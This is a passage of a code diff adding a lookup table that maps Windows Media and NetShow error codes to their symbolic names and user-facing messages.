+        0xC00D001C: ("NS_E_INVALID_NAME", "The file name, directory name, or volume label syntax is incorrect."),
+        0xC00D001D: ("NS_E_FILE_OPEN_FAILED", "Failed to open a file."),
+        0xC00D001E: ("NS_E_FILE_ALLOCATION_FAILED", "Unable to allocate a file."),
+        0xC00D001F: ("NS_E_FILE_INIT_FAILED", "Unable to initialize a file."),
+        0xC00D0020: ("NS_E_FILE_PLAY_FAILED", "Unable to play a file."),
+        0xC00D0021: ("NS_E_SET_DISK_UID_FAILED", "Could not set the disk UID."),
+        0xC00D0022: ("NS_E_INDUCED", "An error was induced for testing purposes."),
+        0xC00D0023: ("NS_E_CCLINK_DOWN", "Two Content Servers failed to communicate."),
+        0xC00D0024: ("NS_E_INTERNAL", "An unknown error occurred."),
+        0xC00D0025: ("NS_E_BUSY", "The requested resource is in use."),
+        0xC00D0026: ("NS_E_UNRECOGNIZED_STREAM_TYPE", "The specified protocol is not recognized. Be sure that the file name and syntax, such as slashes, are correct for the protocol."),
+        0xC00D0027: ("NS_E_NETWORK_SERVICE_FAILURE", "The network service provider failed."),
+        0xC00D0028: ("NS_E_NETWORK_RESOURCE_FAILURE", "An attempt to acquire a network resource failed."),
+        0xC00D0029: ("NS_E_CONNECTION_FAILURE", "The network connection has failed."),
+        0xC00D002A: ("NS_E_SHUTDOWN", "The session is being terminated locally."),
+        0xC00D002B: ("NS_E_INVALID_REQUEST", "The request is invalid in the current state."),
+        0xC00D002C: ("NS_E_INSUFFICIENT_BANDWIDTH", "There is insufficient bandwidth available to fulfill the request."),
+        0xC00D002D: ("NS_E_NOT_REBUILDING", "The disk is not rebuilding."),
+        0xC00D002E: ("NS_E_LATE_OPERATION", "An operation requested for a particular time could not be carried out on schedule."),
+        0xC00D002F: ("NS_E_INVALID_DATA", "Invalid or corrupt data was encountered."),
+        0xC00D0030: ("NS_E_FILE_BANDWIDTH_LIMIT", "The bandwidth required to stream a file is higher than the maximum file bandwidth allowed on the server."),
+        0xC00D0031: ("NS_E_OPEN_FILE_LIMIT", "The client cannot have any more files open simultaneously."),
+        0xC00D0032: ("NS_E_BAD_CONTROL_DATA", "The server received invalid data from the client on the control connection."),
+        0xC00D0033: ("NS_E_NO_STREAM", "There is no stream available."),
+        0xC00D0034: ("NS_E_STREAM_END", "There is no more data in the stream."),
+        0xC00D0035: ("NS_E_SERVER_NOT_FOUND", "The specified server could not be found."),
+        0xC00D0036: ("NS_E_DUPLICATE_NAME", "The specified name is already in use."),
+        0xC00D0037: ("NS_E_DUPLICATE_ADDRESS", "The specified address is already in use."),
+        0xC00D0038: ("NS_E_BAD_MULTICAST_ADDRESS", "The specified address is not a valid multicast address."),
+        0xC00D0039: ("NS_E_BAD_ADAPTER_ADDRESS", "The specified adapter address is invalid."),
+        0xC00D003A: ("NS_E_BAD_DELIVERY_MODE", "The specified delivery mode is invalid."),
+        0xC00D003B: ("NS_E_INVALID_CHANNEL", "The specified station does not exist."),
+        0xC00D003C: ("NS_E_INVALID_STREAM", "The specified stream does not exist."),
+        0xC00D003D: ("NS_E_INVALID_ARCHIVE", "The specified archive could not be opened."),
+        0xC00D003E: ("NS_E_NOTITLES", "The system cannot find any titles on the server."),
+        0xC00D003F: ("NS_E_INVALID_CLIENT", "The system cannot find the client specified."),
+        0xC00D0040: ("NS_E_INVALID_BLACKHOLE_ADDRESS", "The Blackhole Address is not initialized."),
+        0xC00D0041: ("NS_E_INCOMPATIBLE_FORMAT", "The station does not support the stream format."),
+        0xC00D0042: ("NS_E_INVALID_KEY", "The specified key is not valid."),
+        0xC00D0043: ("NS_E_INVALID_PORT", "The specified port is not valid."),
+        0xC00D0044: ("NS_E_INVALID_TTL", "The specified TTL is not valid."),
+        0xC00D0045: ("NS_E_STRIDE_REFUSED", "The request to fast forward or rewind could not be fulfilled."),
+        0xC00D0046: ("NS_E_MMSAUTOSERVER_CANTFINDWALKER", "Unable to load the appropriate file parser."),
+        0xC00D0047: ("NS_E_MAX_BITRATE", "Cannot exceed the maximum bandwidth limit."),
+        0xC00D0048: ("NS_E_LOGFILEPERIOD", "Invalid value for LogFilePeriod."),
+        0xC00D0049: ("NS_E_MAX_CLIENTS", "Cannot exceed the maximum client limit."),
+        0xC00D004A: ("NS_E_LOG_FILE_SIZE", "The maximum log file size has been reached."),
+        0xC00D004B: ("NS_E_MAX_FILERATE", "Cannot exceed the maximum file rate."),
+        0xC00D004C: ("NS_E_WALKER_UNKNOWN", "Unknown file type."),
+        0xC00D004D: ("NS_E_WALKER_SERVER", "The specified file, %1, cannot be loaded onto the specified server, %2."),
+        0xC00D004E: ("NS_E_WALKER_USAGE", "There was a usage error with file parser."),
+        0xC00D0050: ("NS_E_TIGER_FAIL", "The Title Server %1 has failed."),
+        0xC00D0053: ("NS_E_CUB_FAIL", "Content Server %1 (%2) has failed."),
+        0xC00D0055: ("NS_E_DISK_FAIL", "Disk %1 ( %2 ) on Content Server %3, has failed."),
+        0xC00D0060: ("NS_E_MAX_FUNNELS_ALERT", "The NetShow data stream limit of %1 streams was reached."),
+        0xC00D0061: ("NS_E_ALLOCATE_FILE_FAIL", "The NetShow Video Server was unable to allocate a %1 block file named %2."),
+        0xC00D0062: ("NS_E_PAGING_ERROR", "A Content Server was unable to page a block."),
+        0xC00D0063: ("NS_E_BAD_BLOCK0_VERSION", "Disk %1 has unrecognized control block version %2."),
+        0xC00D0064: ("NS_E_BAD_DISK_UID", "Disk %1 has incorrect uid %2."),
+        0xC00D0065: ("NS_E_BAD_FSMAJOR_VERSION", "Disk %1 has unsupported file system major version %2."),
+        0xC00D0066: ("NS_E_BAD_STAMPNUMBER", "Disk %1 has bad stamp number in control block."),
+        0xC00D0067: ("NS_E_PARTIALLY_REBUILT_DISK", "Disk %1 is partially reconstructed."),
+        0xC00D0068: ("NS_E_ENACTPLAN_GIVEUP", "EnactPlan gives up."),
+        0xC00D006A: ("MCMADM_E_REGKEY_NOT_FOUND", "The key was not found in the registry."),
+        0xC00D006B: ("NS_E_NO_FORMATS", "The publishing point cannot be started because the server does not have the appropriate stream formats. Use the Multicast Announcement Wizard to create a new announcement for this publishing point."),
+        0xC00D006C: ("NS_E_NO_REFERENCES", "No reference URLs were found in an ASX file."),
+        0xC00D006D: ("NS_E_WAVE_OPEN", "Error opening wave device, the device might be in use."),
+        0xC00D006F: ("NS_E_CANNOTCONNECTEVENTS", "Unable to establish a connection to the NetShow event monitor service."),
+        0xC00D0071: ("NS_E_NO_DEVICE", "No device driver is present on the system."),
+        0xC00D0072: ("NS_E_NO_SPECIFIED_DEVICE", "No specified device driver is present."),
+        0xC00D00C8: ("NS_E_MONITOR_GIVEUP", "Netshow Events Monitor is not operational and has been disconnected."),
+        0xC00D00C9: ("NS_E_REMIRRORED_DISK", "Disk %1 is remirrored."),
+        0xC00D00CA: ("NS_E_INSUFFICIENT_DATA", "Insufficient data found."),
+        0xC00D00CB: ("NS_E_ASSERT", "1 failed in file %2 line %3."),
+        0xC00D00CC: ("NS_E_BAD_ADAPTER_NAME", "The specified adapter name is invalid."),
+        0xC00D00CD: ("NS_E_NOT_LICENSED", "The application is not licensed for this feature."),
+        0xC00D00CE: ("NS_E_NO_SERVER_CONTACT", "Unable to contact the server."),
+        0xC00D00CF: ("NS_E_TOO_MANY_TITLES", "Maximum number of titles exceeded."),
+        0xC00D00D0: ("NS_E_TITLE_SIZE_EXCEEDED", "Maximum size of a title exceeded."),
+        0xC00D00D1: ("NS_E_UDP_DISABLED", "UDP protocol not enabled. Not trying %1!ls!."),
+        0xC00D00D2: ("NS_E_TCP_DISABLED", "TCP protocol not enabled. Not trying %1!ls!."),
+        0xC00D00D3: ("NS_E_HTTP_DISABLED", "HTTP protocol not enabled. Not trying %1!ls!."),
+        0xC00D00D4: ("NS_E_LICENSE_EXPIRED", "The product license has expired."),
+        0xC00D00D5: ("NS_E_TITLE_BITRATE", "Source file exceeds the per title maximum bitrate. See NetShow Theater documentation for more information."),
+        0xC00D00D6: ("NS_E_EMPTY_PROGRAM_NAME", "The program name cannot be empty."),
+        0xC00D00D7: ("NS_E_MISSING_CHANNEL", "Station %1 does not exist."),
+        0xC00D00D8: ("NS_E_NO_CHANNELS", "You need to define at least one station before this operation can complete."),
+        0xC00D00D9: ("NS_E_INVALID_INDEX2", "The index specified is invalid."),
+        0xC00D0190: ("NS_E_CUB_FAIL_LINK", "Content Server %1 (%2) has failed its link to Content Server %3."),
+        0xC00D0192: ("NS_E_BAD_CUB_UID", "Content Server %1 (%2) has incorrect uid %3."),
+        0xC00D0195: ("NS_E_GLITCH_MODE", "Server unreliable because multiple components failed."),
+        0xC00D019B: ("NS_E_NO_MEDIA_PROTOCOL", "Content Server %1 (%2) is unable to communicate with the Media System Network Protocol."),
+        0xC00D07F1: ("NS_E_NOTHING_TO_DO", "Nothing to do."),
+        0xC00D07F2: ("NS_E_NO_MULTICAST", "Not receiving data from the server."),
+        0xC00D0BB8: ("NS_E_INVALID_INPUT_FORMAT", "The input media format is invalid."),
+        0xC00D0BB9: ("NS_E_MSAUDIO_NOT_INSTALLED", "The MSAudio codec is not installed on this system."),
+        0xC00D0BBA: ("NS_E_UNEXPECTED_MSAUDIO_ERROR", "An unexpected error occurred with the MSAudio codec."),
+        0xC00D0BBB: ("NS_E_INVALID_OUTPUT_FORMAT", "The output media format is invalid."),
+        0xC00D0BBC: ("NS_E_NOT_CONFIGURED", "The object must be fully configured before audio samples can be processed."),
+        0xC00D0BBD: ("NS_E_PROTECTED_CONTENT", "You need a license to perform the requested operation on this media file."),
+        0xC00D0BBE: ("NS_E_LICENSE_REQUIRED", "You need a license to perform the requested operation on this media file."),
+        0xC00D0BBF: ("NS_E_TAMPERED_CONTENT", "This media file is corrupted or invalid. Contact the content provider for a new file."),
+        0xC00D0BC0: ("NS_E_LICENSE_OUTOFDATE", "The license for this media file has expired. Get a new license or contact the content provider for further assistance."),
+        0xC00D0BC1: ("NS_E_LICENSE_INCORRECT_RIGHTS", "You are not allowed to open this file. Contact the content provider for further assistance."),
+        0xC00D0BC2: ("NS_E_AUDIO_CODEC_NOT_INSTALLED", "The requested audio codec is not installed on this system."),
+        0xC00D0BC3: ("NS_E_AUDIO_CODEC_ERROR", "An unexpected error occurred with the audio codec."),
+        0xC00D0BC4: ("NS_E_VIDEO_CODEC_NOT_INSTALLED", "The requested video codec is not installed on this system."),
+        0xC00D0BC5: ("NS_E_VIDEO_CODEC_ERROR", "An unexpected error occurred with the video codec."),
+        0xC00D0BC6: ("NS_E_INVALIDPROFILE", "The Profile is invalid."),
+        0xC00D0BC7: ("NS_E_INCOMPATIBLE_VERSION", "A new version of the SDK is needed to play the requested content."),
+        0xC00D0BCA: ("NS_E_OFFLINE_MODE", "The requested URL is not available in offline mode."),
+        0xC00D0BCB: ("NS_E_NOT_CONNECTED", "The requested URL cannot be accessed because there is no network connection."),
+        0xC00D0BCC: ("NS_E_TOO_MUCH_DATA", "The encoding process was unable to keep up with the amount of supplied data."),
+        0xC00D0BCD: ("NS_E_UNSUPPORTED_PROPERTY", "The given property is not supported."),
+        0xC00D0BCE: ("NS_E_8BIT_WAVE_UNSUPPORTED", "Windows Media Player cannot copy the files to the CD because they are 8-bit. Convert the files to 16-bit, 44-kHz stereo files by using Sound Recorder or another audio-processing program, and then try again."),
+        0xC00D0BCF: ("NS_E_NO_MORE_SAMPLES", "There are no more samples in the current range."),
+        0xC00D0BD0: ("NS_E_INVALID_SAMPLING_RATE", "The given sampling rate is invalid."),
+        0xC00D0BD1: ("NS_E_MAX_PACKET_SIZE_TOO_SMALL", "The given maximum packet size is too small to accommodate this profile.)"),
+        0xC00D0BD2: ("NS_E_LATE_PACKET", "The packet arrived too late to be of use."),
+        0xC00D0BD3: ("NS_E_DUPLICATE_PACKET", "The packet is a duplicate of one received before."),
+        0xC00D0BD4: ("NS_E_SDK_BUFFERTOOSMALL", "Supplied buffer is too small."),
+        0xC00D0BD5: ("NS_E_INVALID_NUM_PASSES", "The wrong number of preprocessing passes was used for the stream's output type."),
+        0xC00D0BD6: ("NS_E_ATTRIBUTE_READ_ONLY", "An attempt was made to add, modify, or delete a read only attribute."),
+        0xC00D0BD7: ("NS_E_ATTRIBUTE_NOT_ALLOWED", "An attempt was made to add attribute that is not allowed for the given media type."),
+        0xC00D0BD8: ("NS_E_INVALID_EDL", "The EDL provided is invalid."),
+        0xC00D0BD9: ("NS_E_DATA_UNIT_EXTENSION_TOO_LARGE", "The Data Unit Extension data was too large to be used."),
+        0xC00D0BDA: ("NS_E_CODEC_DMO_ERROR", "An unexpected error occurred with a DMO codec."),
+        0xC00D0BDC: ("NS_E_FEATURE_DISABLED_BY_GROUP_POLICY", "This feature has been disabled by group policy."),
+        0xC00D0BDD: ("NS_E_FEATURE_DISABLED_IN_SKU", "This feature is disabled in this SKU."),
+        0xC00D0FA0: ("NS_E_NO_CD", "There is no CD in the CD drive. Insert a CD, and then try again."),
+        0xC00D0FA1: ("NS_E_CANT_READ_DIGITAL", "Windows Media Player could not use digital playback to play the CD. To switch to analog playback, on the Tools menu, click Options, and then click the Devices tab. Double-click the CD drive, and then in the Playback area, click Analog. For additional assistance, click Web Help."),
+        0xC00D0FA2: ("NS_E_DEVICE_DISCONNECTED", "Windows Media Player no longer detects a connected portable device. Reconnect your portable device, and then try synchronizing the file again."),
+        0xC00D0FA3: ("NS_E_DEVICE_NOT_SUPPORT_FORMAT", "Windows Media Player cannot play the file. The portable device does not support the specified file type."),
+        0xC00D0FA4: ("NS_E_SLOW_READ_DIGITAL", "Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help."),
+        0xC00D0FA5: ("NS_E_MIXER_INVALID_LINE", "An invalid line error occurred in the mixer."),
+        0xC00D0FA6: ("NS_E_MIXER_INVALID_CONTROL", "An invalid control error occurred in the mixer."),
+        0xC00D0FA7: ("NS_E_MIXER_INVALID_VALUE", "An invalid value error occurred in the mixer."),
+        0xC00D0FA8: ("NS_E_MIXER_UNKNOWN_MMRESULT", "An unrecognized MMRESULT occurred in the mixer."),
+        0xC00D0FA9: ("NS_E_USER_STOP", "User has stopped the operation."),
+        0xC00D0FAA: ("NS_E_MP3_FORMAT_NOT_FOUND", "Windows Media Player cannot rip the track because a compatible MP3 encoder is not installed on your computer. Install a compatible MP3 encoder or choose a different format to rip to (such as Windows Media Audio)."),
+        0xC00D0FAB: ("NS_E_CD_READ_ERROR_NO_CORRECTION", "Windows Media Player cannot read the CD. The disc might be dirty or damaged. Turn on error correction, and then try again."),
+        0xC00D0FAC: ("NS_E_CD_READ_ERROR", "Windows Media Player cannot read the CD. The disc might be dirty or damaged or the CD drive might be malfunctioning."),
+        0xC00D0FAD: ("NS_E_CD_SLOW_COPY", "For best performance, do not play CD tracks while ripping them."),
+        0xC00D0FAE: ("NS_E_CD_COPYTO_CD", "It is not possible to directly burn tracks from one CD to another CD. You must first rip the tracks from the CD to your computer, and then burn the files to a blank CD."),
+        0xC00D0FAF: ("NS_E_MIXER_NODRIVER", "Could not open a sound mixer driver."),
+        0xC00D0FB0: ("NS_E_REDBOOK_ENABLED_WHILE_COPYING", "Windows Media Player cannot rip tracks from the CD correctly because the CD drive settings in Device Manager do not match the CD drive settings in the Player."),
+        0xC00D0FB1: ("NS_E_CD_REFRESH", "Windows Media Player is busy reading the CD."),
+        0xC00D0FB2: ("NS_E_CD_DRIVER_PROBLEM", "Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help."),
+        0xC00D0FB3: ("NS_E_WONT_DO_DIGITAL", "Windows Media Player could not use digital playback to play the CD. The Player has automatically switched the CD drive to analog playback. To switch back to digital CD playback, use the Devices tab. For additional assistance, click Web Help."),
+        0xC00D0FB4: ("NS_E_WMPXML_NOERROR", "A call was made to GetParseError on the XML parser but there was no error to retrieve."),
+        0xC00D0FB5: ("NS_E_WMPXML_ENDOFDATA", "The XML Parser ran out of data while parsing."),
+        0xC00D0FB6: ("NS_E_WMPXML_PARSEERROR", "A generic parse error occurred in the XML parser but no information is available."),
+        0xC00D0FB7: ("NS_E_WMPXML_ATTRIBUTENOTFOUND", "A call get GetNamedAttribute or GetNamedAttributeIndex on the XML parser resulted in the index not being found."),
+        0xC00D0FB8: ("NS_E_WMPXML_PINOTFOUND", "A call was made go GetNamedPI on the XML parser, but the requested Processing Instruction was not found."),
+        0xC00D0FB9: ("NS_E_WMPXML_EMPTYDOC", "Persist was called on the XML parser, but the parser has no data to persist."),
+        0xC00D0FBA: ("NS_E_WMP_PATH_ALREADY_IN_LIBRARY", "This file path is already in the library."),
+        0xC00D0FBE: ("NS_E_WMP_FILESCANALREADYSTARTED", "Windows Media Player is already searching for files to add to your library. Wait for the current process to finish before attempting to search again."),
+        0xC00D0FBF: ("NS_E_WMP_HME_INVALIDOBJECTID", "Windows Media Player is unable to find the media you are looking for."),
+        0xC00D0FC0: ("NS_E_WMP_MF_CODE_EXPIRED", "A component of Windows Media Player is out-of-date. If you are running a pre-release version of Windows, try upgrading to a more recent version."),
+        0xC00D0FC1: ("NS_E_WMP_HME_NOTSEARCHABLEFORITEMS", "This container does not support search on items."),
+        0xC00D0FC7: ("NS_E_WMP_ADDTOLIBRARY_FAILED", "Windows Media Player encountered a problem while adding one or more files to the library. For additional assistance, click Web Help."),
+        0xC00D0FC8: ("NS_E_WMP_WINDOWSAPIFAILURE", "A Windows API call failed but no error information was available."),
+        0xC00D0FC9: ("NS_E_WMP_RECORDING_NOT_ALLOWED", "This file does not have burn rights. If you obtained this file from an online store, go to the online store to get burn rights."),
+        0xC00D0FCA: ("NS_E_DEVICE_NOT_READY", "Windows Media Player no longer detects a connected portable device. Reconnect your portable device, and then try to sync the file again."),
+        0xC00D0FCB: ("NS_E_DAMAGED_FILE", "Windows Media Player cannot play the file because it is corrupted."),
+        0xC00D0FCC: ("NS_E_MPDB_GENERIC", "Windows Media Player encountered an error while attempting to access information in the library. Try restarting the Player."),
+        0xC00D0FCD: ("NS_E_FILE_FAILED_CHECKS", "The file cannot be added to the library because it is smaller than the \"Skip files smaller than\" setting. To add the file, change the setting on the Library tab. For additional assistance, click Web Help."),
+        0xC00D0FCE: ("NS_E_MEDIA_LIBRARY_FAILED", "Windows Media Player cannot create the library. You must be logged on as an administrator or a member of the Administrators group to install the Player. For more information, contact your system administrator."),
+        0xC00D0FCF: ("NS_E_SHARING_VIOLATION", "The file is already in use. Close other programs that might be using the file, or stop playing the file, and then try again."),
+        0xC00D0FD0: ("NS_E_NO_ERROR_STRING_FOUND", "Windows Media Player has encountered an unknown error."),
+        0xC00D0FD1: ("NS_E_WMPOCX_NO_REMOTE_CORE", "The Windows Media Player ActiveX control cannot connect to remote media services, but will continue with local media services."),
+        0xC00D0FD2: ("NS_E_WMPOCX_NO_ACTIVE_CORE", "The requested method or property is not available because the Windows Media Player ActiveX control has not been properly activated."),
+        0xC00D0FD3: ("NS_E_WMPOCX_NOT_RUNNING_REMOTELY", "The Windows Media Player ActiveX control is not running in remote mode."),
+        0xC00D0FD4: ("NS_E_WMPOCX_NO_REMOTE_WINDOW", "An error occurred while trying to get the remote Windows Media Player window."),
+        0xC00D0FD5: ("NS_E_WMPOCX_ERRORMANAGERNOTAVAILABLE", "Windows Media Player has encountered an unknown error."),
+        0xC00D0FD6: ("NS_E_PLUGIN_NOTSHUTDOWN", "Windows Media Player was not closed properly. A damaged or incompatible plug-in might have caused the problem to occur. As a precaution, all optional plug-ins have been disabled."),
+        0xC00D0FD7: ("NS_E_WMP_CANNOT_FIND_FOLDER", "Windows Media Player cannot find the specified path. Verify that the path is typed correctly. If it is, the path does not exist in the specified location, or the computer where the path is located is not available."),
+        0xC00D0FD8: ("NS_E_WMP_STREAMING_RECORDING_NOT_ALLOWED", "Windows Media Player cannot save a file that is being streamed."),
+        0xC00D0FD9: ("NS_E_WMP_PLUGINDLL_NOTFOUND", "Windows Media Player cannot find the selected plug-in. The Player will try to remove it from the menu. To use this plug-in, install it again."),
+        0xC00D0FDA: ("NS_E_NEED_TO_ASK_USER", "Action requires input from the user."),
+        0xC00D0FDB: ("NS_E_WMPOCX_PLAYER_NOT_DOCKED", "The Windows Media Player ActiveX control must be in a docked state for this action to be performed."),
+        0xC00D0FDC: ("NS_E_WMP_EXTERNAL_NOTREADY", "The Windows Media Player external object is not ready."),
+        0xC00D0FDD: ("NS_E_WMP_MLS_STALE_DATA", "Windows Media Player cannot perform the requested action. Your computer's time and date might not be set correctly."),
+        0xC00D0FDE: ("NS_E_WMP_UI_SUBCONTROLSNOTSUPPORTED", "The control (%s) does not support creation of sub-controls, yet (%d) sub-controls have been specified."),
+        0xC00D0FDF: ("NS_E_WMP_UI_VERSIONMISMATCH", "Version mismatch: (%.1f required, %.1f found)."),
+        0xC00D0FE0: ("NS_E_WMP_UI_NOTATHEMEFILE", "The layout manager was given valid XML that wasn't a theme file."),
+        0xC00D0FE1: ("NS_E_WMP_UI_SUBELEMENTNOTFOUND", "The %s subelement could not be found on the %s object."),
+        0xC00D0FE2: ("NS_E_WMP_UI_VERSIONPARSE", "An error occurred parsing the version tag. Valid version tags are of the form: <?wmp version='1.0'?>."),
+        0xC00D0FE3: ("NS_E_WMP_UI_VIEWIDNOTFOUND", "The view specified in for the 'currentViewID' property (%s) was not found in this theme file."),
+        0xC00D0FE4: ("NS_E_WMP_UI_PASSTHROUGH", "This error used internally for hit testing."),
+        0xC00D0FE5: ("NS_E_WMP_UI_OBJECTNOTFOUND", "Attributes were specified for the %s object, but the object was not available to send them to."),
+        0xC00D0FE6: ("NS_E_WMP_UI_SECONDHANDLER", "The %s event already has a handler, the second handler was ignored."),
+        0xC00D0FE7: ("NS_E_WMP_UI_NOSKININZIP", "No .wms file found in skin archive."),
+        0xC00D0FEA: ("NS_E_WMP_URLDOWNLOADFAILED", "Windows Media Player encountered a problem while downloading the file. For additional assistance, click Web Help."),
+        0xC00D0FEB: ("NS_E_WMPOCX_UNABLE_TO_LOAD_SKIN", "The Windows Media Player ActiveX control cannot load the requested uiMode and cannot roll back to the existing uiMode."),
+        0xC00D0FEC: ("NS_E_WMP_INVALID_SKIN", "Windows Media Player encountered a problem with the skin file. The skin file might not be valid."),
+        0xC00D0FED: ("NS_E_WMP_SENDMAILFAILED", "Windows Media Player cannot send the link because your email program is not responding. Verify that your email program is configured properly, and then try again. For more information about email, see Windows Help."),
+        0xC00D0FEE: ("NS_E_WMP_LOCKEDINSKINMODE", "Windows Media Player cannot switch to full mode because your computer administrator has locked this skin."),
+        0xC00D0FEF: ("NS_E_WMP_FAILED_TO_SAVE_FILE", "Windows Media Player encountered a problem while saving the file. For additional assistance, click Web Help."),
+        0xC00D0FF0: ("NS_E_WMP_SAVEAS_READONLY", "Windows Media Player cannot overwrite a read-only file. Try using a different file name."),
+        0xC00D0FF1: ("NS_E_WMP_FAILED_TO_SAVE_PLAYLIST", "Windows Media Player encountered a problem while creating or saving the playlist. For additional assistance, click Web Help."),
+        0xC00D0FF2: ("NS_E_WMP_FAILED_TO_OPEN_WMD", "Windows Media Player cannot open the Windows Media Download file. The file might be damaged."),
+        0xC00D0FF3: ("NS_E_WMP_CANT_PLAY_PROTECTED", "The file cannot be added to the library because it is a protected DVR-MS file. This content cannot be played back by Windows Media Player."),
+        0xC00D0FF4: ("NS_E_SHARING_STATE_OUT_OF_SYNC", "Media sharing has been turned off because a required Windows setting or component has changed. For additional assistance, click Web Help."),
+        0xC00D0FFA: ("NS_E_WMPOCX_REMOTE_PLAYER_ALREADY_RUNNING", "Exclusive Services launch failed because the Windows Media Player is already running."),
+        0xC00D1004: ("NS_E_WMP_RBC_JPGMAPPINGIMAGE", "JPG Images are not recommended for use as a mappingImage."),
+        0xC00D1005: ("NS_E_WMP_JPGTRANSPARENCY", "JPG Images are not recommended when using a transparencyColor."),
+        0xC00D1009: ("NS_E_WMP_INVALID_MAX_VAL", "The Max property cannot be less than Min property."),
+        0xC00D100A: ("NS_E_WMP_INVALID_MIN_VAL", "The Min property cannot be greater than Max property."),
+        0xC00D100E: ("NS_E_WMP_CS_JPGPOSITIONIMAGE", "JPG Images are not recommended for use as a positionImage."),
+        0xC00D100F: ("NS_E_WMP_CS_NOTEVENLYDIVISIBLE", "The (%s) image's size is not evenly divisible by the positionImage's size."),
+        0xC00D1018: ("NS_E_WMPZIP_NOTAZIPFILE", "The ZIP reader opened a file and its signature did not match that of the ZIP files."),
+        0xC00D1019: ("NS_E_WMPZIP_CORRUPT", "The ZIP reader has detected that the file is corrupted."),
+        0xC00D101A: ("NS_E_WMPZIP_FILENOTFOUND", "GetFileStream, SaveToFile, or SaveTemp file was called on the ZIP reader with a file name that was not found in the ZIP file."),
+        0xC00D1022: ("NS_E_WMP_IMAGE_FILETYPE_UNSUPPORTED", "Image type not supported."),
+        0xC00D1023: ("NS_E_WMP_IMAGE_INVALID_FORMAT", "Image file may be corrupt."),
+        0xC00D1024: ("NS_E_WMP_GIF_UNEXPECTED_ENDOFFILE", "Unexpected end of file. GIF file may be corrupt."),
+        0xC00D1025: ("NS_E_WMP_GIF_INVALID_FORMAT", "Invalid GIF file."),
+        0xC00D1026: ("NS_E_WMP_GIF_BAD_VERSION_NUMBER", "Invalid GIF version. Only 87a or 89a supported."),
+        0xC00D1027: ("NS_E_WMP_GIF_NO_IMAGE_IN_FILE", "No images found in GIF file."),
+        0xC00D1028: ("NS_E_WMP_PNG_INVALIDFORMAT", "Invalid PNG image file format."),
+        0xC00D1029: ("NS_E_WMP_PNG_UNSUPPORTED_BITDEPTH", "PNG bitdepth not supported."),
+        0xC00D102A: ("NS_E_WMP_PNG_UNSUPPORTED_COMPRESSION", "Compression format defined in PNG file not supported,"),
+        0xC00D102B: ("NS_E_WMP_PNG_UNSUPPORTED_FILTER", "Filter method defined in PNG file not supported."),
+        0xC00D102C: ("NS_E_WMP_PNG_UNSUPPORTED_INTERLACE", "Interlace method defined in PNG file not supported."),
+        0xC00D102D: ("NS_E_WMP_PNG_UNSUPPORTED_BAD_CRC", "Bad CRC in PNG file."),
+        0xC00D102E: ("NS_E_WMP_BMP_INVALID_BITMASK", "Invalid bitmask in BMP file."),
+        0xC00D102F: ("NS_E_WMP_BMP_TOPDOWN_DIB_UNSUPPORTED", "Topdown DIB not supported."),
+        0xC00D1030: ("NS_E_WMP_BMP_BITMAP_NOT_CREATED", "Bitmap could not be created."),
+        0xC00D1031: ("NS_E_WMP_BMP_COMPRESSION_UNSUPPORTED", "Compression format defined in BMP not supported."),
+        0xC00D1032: ("NS_E_WMP_BMP_INVALID_FORMAT", "Invalid Bitmap format."),
+        0xC00D1033: ("NS_E_WMP_JPG_JERR_ARITHCODING_NOTIMPL", "JPEG Arithmetic coding not supported."),
+        0xC00D1034: ("NS_E_WMP_JPG_INVALID_FORMAT", "Invalid JPEG format."),
+        0xC00D1035: ("NS_E_WMP_JPG_BAD_DCTSIZE", "Invalid JPEG format."),
+        0xC00D1036: ("NS_E_WMP_JPG_BAD_VERSION_NUMBER", "Internal version error. Unexpected JPEG library version."),
+        0xC00D1037: ("NS_E_WMP_JPG_BAD_PRECISION", "Internal JPEG Library error. Unsupported JPEG data precision."),
+        0xC00D1038: ("NS_E_WMP_JPG_CCIR601_NOTIMPL", "JPEG CCIR601 not supported."),
+        0xC00D1039: ("NS_E_WMP_JPG_NO_IMAGE_IN_FILE", "No image found in JPEG file."),
+        0xC00D103A: ("NS_E_WMP_JPG_READ_ERROR", "Could not read JPEG file."),
+        0xC00D103B: ("NS_E_WMP_JPG_FRACT_SAMPLE_NOTIMPL", "JPEG Fractional sampling not supported."),
+        0xC00D103C: ("NS_E_WMP_JPG_IMAGE_TOO_BIG", "JPEG image too large. Maximum image size supported is 65500 X 65500."),
+        0xC00D103D: ("NS_E_WMP_JPG_UNEXPECTED_ENDOFFILE", "Unexpected end of file reached in JPEG file."),
+        0xC00D103E: ("NS_E_WMP_JPG_SOF_UNSUPPORTED", "Unsupported JPEG SOF marker found."),
+        0xC00D103F: ("NS_E_WMP_JPG_UNKNOWN_MARKER", "Unknown JPEG marker found."),
+        0xC00D1044: ("NS_E_WMP_FAILED_TO_OPEN_IMAGE", "Windows Media Player cannot display the picture file. The player either does not support the picture type or the picture is corrupted."),
+        0xC00D1049: ("NS_E_WMP_DAI_SONGTOOSHORT", "Windows Media Player cannot compute a Digital Audio Id for the song. It is too short."),
+        0xC00D104A: ("NS_E_WMG_RATEUNAVAILABLE", "Windows Media Player cannot play the file at the requested speed."),
+        0xC00D104B: ("NS_E_WMG_PLUGINUNAVAILABLE", "The rendering or digital signal processing plug-in cannot be instantiated."),
+        0xC00D104C: ("NS_E_WMG_CANNOTQUEUE", "The file cannot be queued for seamless playback."),
+        0xC00D104D: ("NS_E_WMG_PREROLLLICENSEACQUISITIONNOTALLOWED", "Windows Media Player cannot download media usage rights for a file in the playlist."),
+        0xC00D104E: ("NS_E_WMG_UNEXPECTEDPREROLLSTATUS", "Windows Media Player encountered an error while trying to queue a file."),
+        0xC00D1051: ("NS_E_WMG_INVALID_COPP_CERTIFICATE", "Windows Media Player cannot play the protected file. The Player cannot verify that the connection to your video card is secure. Try installing an updated device driver for your video card."),
+        0xC00D1052: ("NS_E_WMG_COPP_SECURITY_INVALID", "Windows Media Player cannot play the protected file. The Player detected that the connection to your hardware might not be secure."),
+        0xC00D1053: ("NS_E_WMG_COPP_UNSUPPORTED", "Windows Media Player output link protection is unsupported on this system."),
+        0xC00D1054: ("NS_E_WMG_INVALIDSTATE", "Operation attempted in an invalid graph state."),
+        0xC00D1055: ("NS_E_WMG_SINKALREADYEXISTS", "A renderer cannot be inserted in a stream while one already exists."),
